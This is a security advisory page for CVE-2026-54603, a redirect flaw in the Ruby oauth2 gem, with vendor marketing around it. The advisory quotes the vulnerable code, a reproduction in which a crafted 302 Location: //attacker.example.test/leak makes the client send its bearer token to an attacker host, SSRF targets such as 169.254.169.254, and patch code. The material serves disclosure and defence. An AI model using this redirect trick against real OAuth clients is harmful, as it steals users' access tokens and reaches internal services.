CVE-2026-54603

CVE-2026-54603 is a high-severity open redirect vulnerability in oauth2 (rubygems), affecting versions >= 0.4.0, <= 2.0.21. It is fixed in 2.0.22.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

OAuth2::Client#request: Protocol-relative redirect Location overrides authority, leaking bearer Authorization to attacker host

When an application uses OAuth2::Client (typically via an OAuth2::AccessToken) and the configured authorization server returns a redirect whose Location header is a protocol-relative URI of the form //attacker.example/leak, OAuth2::Client#request resolves the redirect with response.response.env.url.merge(location). Per RFC 3986 §5.2, an input that starts with // is a network-path reference and replaces the authority of the base URL: URI("http://idp.trusted/userinfo").merge("//attacker.example/leak") returns http://attacker.example/leak. The recursive request(verb, full_location, req_opts) call then re-sends the request to the attacker host while preserving the Authorization: Bearer <access-token> header that OAuth2::AccessToken#configure_authentication! installed on req_opts[:headers] for the original request.

The result is a one-shot cross-origin credential disclosure: any 30x response from the IdP that an attacker can influence (a compromised endpoint, a tenant-controlled IdP in a multi-tenant deployment, or an open-redirect handler that does not normalise the Location it emits) can extract the bearer access token of the calling user.

Affected

Vulnerable code

lib/oauth2/client.rb#L146-L182 at commit e2d509705db6091c8d5f27c31e29c58e39e51c7c (tag v2.0.20):

def request(verb, url, req_opts = {}, &block)
  response = execute_request(verb, url, req_opts, &block)
  status = response.status

  case status
  when 301, 302, 303, 307
    req_opts[:redirect_count] ||= 0
    req_opts[:redirect_count] += 1
    return response if req_opts[:redirect_count] > options[:max_redirects]

    if status == 303
      verb = :get
      req_opts.delete(:body)
    end
    location = response.headers["location"]
    if location
      full_location = response.response.env.url.merge(location)  # <-- protocol-relative input replaces authority
      request(verb, full_location, req_opts)
    # ...

response.response.env.url is the resolved URL of the prior request (always absolute, since Faraday's build_exclusive_url produces an absolute URI). location is the raw Location response header, with no validation. URI#merge follows RFC 3986 §5.2 and treats //host/path as a network-path reference, dropping the base authority and adopting the input's host. The recursive request(verb, full_location, req_opts) then re-enters with req_opts unchanged, which means any Authorization header that OAuth2::AccessToken#configure_authentication! placed in req_opts[:headers] for the original request travels with the redirected request to the attacker-controlled host.

The credential plumbing is at lib/oauth2/access_token.rb#L376-L408:

def configure_authentication!(opts, verb)
  # ...
  case mode
  when :header
    opts[:headers] ||= {}
    opts[:headers].merge!(headers)
  # ...
end

def headers
  {"Authorization" => options[:header_format] % token}
end

The default token mode is :header, so every AccessToken#get / #post / #request call attaches Authorization: Bearer <token> to req_opts[:headers]. That same dictionary is then forwarded verbatim into the redirected request, because Client#request does not inspect or strip req_opts[:headers] when the redirect crosses origins.

Reachable in production

The vulnerable path is the documented AccessToken#get / AccessToken#post flow that every oauth2 integration uses to call a resource server after the token exchange. The redirect handler is enabled unconditionally for status codes 301, 302, 303, and 307, up to options[:max_redirects] hops (default 5). No opt-in flag is required: a single 302 response with a protocol-relative Location header is enough to redirect the next request to an attacker host with the bearer token attached.

Realistic upstream triggers:

  1. Open redirect on the IdP. Many authorization servers expose endpoints that emit Location based on user input (for example logout flows, redirect_uri echoes, branded splash pages). When that endpoint does not normalise the user-supplied target, an attacker can plant //attacker.example/leak as the redirect target and induce the oauth2 client to follow it.
  2. Tenant-controlled IdP. Multi-tenant SaaS where each tenant configures its own OIDC issuer URL via OAuth2::Client.new(... , site: tenant_supplied_url) allows a malicious tenant to set site: to its own server and emit the protocol-relative Location directly.
  3. Compromised or downgraded IdP. A network-position adversary capable of altering a single response header before TLS termination (for example via a proxy that legitimately rewrites Location headers) can craft the protocol-relative form.

In all three cases the access token is sent to the attacker host on the very next request: there is no second-hop redirect chain, no second user interaction, and no opportunity for the application to inspect the redirect target.

Reproduction

The issue can be reproduced with a client using the default bearer-token header mode against an oauth2 version before 2.0.22.

Minimal setup:

require "oauth2"

client = OAuth2::Client.new(
  "client-id",
  "client-secret",
  site: "http://idp.example.test"
)

token = OAuth2::AccessToken.new(client, "SECRET-BEARER-TOKEN")
token.get("/userinfo")

If the configured authorization/resource server responds to that request with a redirect such as:

HTTP/1.1 302 Found
Location: //attacker.example.test/leak
Content-Length: 0

then vulnerable versions resolve the protocol-relative Location as a cross-origin URL and recursively issue the follow-up request while preserving the original request headers. Because OAuth2::AccessToken uses Authorization: Bearer <token> by default, the next request is sent to the attacker-controlled host with the bearer token attached:

GET /leak HTTP/1.1
Host: attacker.example.test
Authorization: Bearer SECRET-BEARER-TOKEN

This requires no special Faraday adapter behavior. The vulnerable redirect handling is in OAuth2::Client#request; the attacker-controlled input is the raw Location header value from a 30x response.

Patched-build verification

Monkey-patch OAuth2::Client#request so that protocol-relative Location values are forced down the relative-path branch of URI#merge by prepending ./. Re-run the attack against the same poc_collector.rb instance.

module OAuth2
  class Client
    def request(verb, url, req_opts = {}, &block)
      response = execute_request(verb, url, req_opts, &block)
      status = response.status
      case status
      when 301, 302, 303, 307
        req_opts[:redirect_count] ||= 0
        req_opts[:redirect_count] += 1
        return response if req_opts[:redirect_count] > options[:max_redirects]
        verb = :get and req_opts.delete(:body) if status == 303
        location = response.headers["location"]
        if location
          # PATCH: neutralise protocol-relative location before URI#merge.
          safe_location = location.start_with?("//") ? "./#{location}" : location
          full_location = response.response.env.url.merge(safe_location)
          request(verb, full_location, req_opts)
        else
          raise(Error.new(response), "Got #{status} status code, but no Location header was present")
        end
      # ... unchanged fallthrough ...
      end
    end
  end
end

After applying the patch, the same token.get("/userinfo") call resolves the attack Location: //127.0.0.1:4568/leak to http://127.0.0.1:4567/127.0.0.1:4568/leak, same host as the IdP, and :4568 never receives the bearer token. The IdP redirect loop trips max_redirects and the helper returns status: 302 to the caller with no off-host request. Collector log after the patched run shows :4568 LEAK count unchanged from the negative control:

[idp:4567] hit  req_line=GET /userinfo HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"
[idp:4567] hit  req_line=GET ///127.0.0.1:4568///127.0.0.1:4568/leak HTTP/1.1  auth="Bearer SECRET-BEARER-XYZZY"

All hops stay on 127.0.0.1:4567. The bearer token never leaves the IdP.

Credit

Reported by tonghuaroot.

Impact

A consumer that uses OAuth2::AccessToken#get / #post / #request against an IdP whose redirect target an attacker can influence (open redirect, malicious tenant, or in-path adversary) loses two things at once:

  1. Cross-origin credential disclosure. The connection-scoped Authorization: Bearer <token> header attached by OAuth2::AccessToken#configure_authentication! is sent to the attacker host on the very next request, with no second user interaction.
  2. SSRF from the application server. The OAuth2 client follows the redirect on behalf of the application, so the host that ultimately receives the request is one the attacker chooses, useful for hitting internal addresses (//169.254.169.254/..., //127.0.0.1:.../...) that the application server can reach but the attacker cannot.

The combined primitive is stronger than the usual cross-origin-redirect leak because no application-level cooperation is required and no Location: http://attacker/... is needed, the protocol-relative //attacker/x form slips past naive scheme-based Location filters that allow same-scheme-implicit redirects.

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

CVE-2026-54603 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.22); upgrading removes the vulnerable code path.

Affected versions

oauth2 (>= 0.4.0, <= 2.0.21)

Security releases

oauth2 → 2.0.22 (rubygems)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Treat protocol-relative Location values as relative paths when resolving against the prior request URL. The smallest local fix is the ./ prefix used in Faraday::Connection#build_exclusive_url for the same primitive (see lines 485-488 of faraday/lib/faraday/connection.rb):

location = response.headers["location"]
if location
  # Force protocol-relative inputs to be interpreted as relative paths so they
  # cannot override the base authority via RFC 3986 §5.2 network-path reference.
  safe_location = location.respond_to?(:start_with?) && location.start_with?("//") \
    ? "./#{location}" : location
  full_location = response.response.env.url.merge(safe_location)
  request(verb, full_location, req_opts)

A defence-in-depth follow-up is to also strip credential-bearing headers (Authorization, plus any custom headers configured via header_format) from req_opts[:headers] when the resolved host changes across the redirect, which mirrors how Mechanize handles cross-host redirects in lib/mechanize/http/agent.rb#L1068-L1077. That additional check protects against the orthogonal case where an attacker controls an absolute Location: http://attacker.example/... value on a same-host open-redirect endpoint.

Frequently Asked Questions

  1. What is CVE-2026-54603? CVE-2026-54603 is a high-severity open redirect vulnerability in oauth2 (rubygems), affecting versions >= 0.4.0, <= 2.0.21. It is fixed in 2.0.22. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
  2. How severe is CVE-2026-54603? CVE-2026-54603 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of oauth2 are affected by CVE-2026-54603? oauth2 (rubygems) versions >= 0.4.0, <= 2.0.21 is affected.
  4. Is there a fix for CVE-2026-54603? Yes. CVE-2026-54603 is fixed in 2.0.22. Upgrade to this version or later.
  5. Is CVE-2026-54603 exploitable, and should I be worried? Whether CVE-2026-54603 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54603 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54603? Upgrade oauth2 to 2.0.22 or later.

Other vulnerabilities in oauth2

Stop the waste.
Protect your environment with Kodem.